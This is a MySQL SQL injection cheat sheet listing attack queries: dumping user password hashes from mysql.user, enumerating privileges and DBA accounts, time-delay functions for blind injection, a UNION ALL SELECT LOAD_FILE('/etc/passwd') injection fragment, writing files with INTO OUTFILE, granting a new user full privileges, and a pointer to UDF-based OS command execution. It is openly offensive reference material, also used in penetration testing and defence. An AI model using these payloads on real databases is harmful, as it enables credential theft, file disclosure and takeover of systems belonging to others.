

## SQL Injection Cheat Sheet (MYSQL)

Version	SELECT @@version
Comments	SELECT 1; #comment SELECT /*comment*/1;
Current User	SELECT user(); SELECT system_user();
List Users	SELECT user FROM mysql.user; -- priv
List Password Hashes	SELECT host, user, password FROM mysql.user; -- priv
Password Cracker	<a href="#">John the Ripper</a> will crack MySQL password hashes.
List Privileges	SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; -- list user privs  SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; -- priv, list user privs  SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; -- list privs on databases (schemas)  SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; -- list privs on columns
List DBA Accounts	SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'SUPER';  SELECT host, user FROM mysql.user WHERE Super_priv = 'Y'; # priv
Current Database	SELECT database()
List Databases	SELECT schema_name FROM information_schema.schemata; -- for MySQL >= v5.0 SELECT distinct(db) FROM mysql.db -- priv
List Columns	SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
List Tables	SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
Find Tables From Column Name	SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = 'username'; -- find table which have a column called 'username'
Select Nth Row	SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0 SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0

Select Nth Char	SELECT substr('abcd', 3, 1); # returns c
Bitwise AND	SELECT 6 & 2; # returns 2 SELECT 6 & 1; # returns 0
ASCII Value -> Char	SELECT char(65); # returns A
Char -> ASCII Value	SELECT ascii('A'); # returns 65
Casting	SELECT cast('1' AS unsigned integer); SELECT cast('123' AS char);
String Concatenation	SELECT CONCAT('A','B'); #returns AB SELECT CONCAT('A','B','C'); # returns ABC
If Statement	SELECT if(1=1,'foo','bar'); -- returns 'foo'
Case Statement	SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; # returns A
Avoiding Quotes	SELECT 0x414243; # returns ABC
Time Delay	SELECT BENCHMARK(1000000,MD5('A')); SELECT SLEEP(5); # >= 5.0.12
Make DNS Requests	Impossible?
Command Execution	If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar). The .so file should contain a User Defined Function (UDF). <a href="#">raptor_udf.c</a> explains exactly how you go about this. Remember to compile for the target architecture which may or may not be the same as your attack platform.
Local File Access	...' UNION ALL SELECT LOAD_FILE('/etc/passwd') -- priv, can only read world-readable files. SELECT * FROM mytable INTO outfile '/tmp/somefile'; -- priv, write to file system
Hostname, IP Address	Impossible?
Create Users	CREATE USER test1 IDENTIFIED BY 'pass1'; -- priv
Delete Users	DROP USER test1; -- priv
Make User DBA	GRANT ALL PRIVILEGES ON *.* TO test1@'%'; -- priv
Location of DB files	SELECT @@datadir;
Default/System Databases	information_schema (>= mysql 5.0) mysql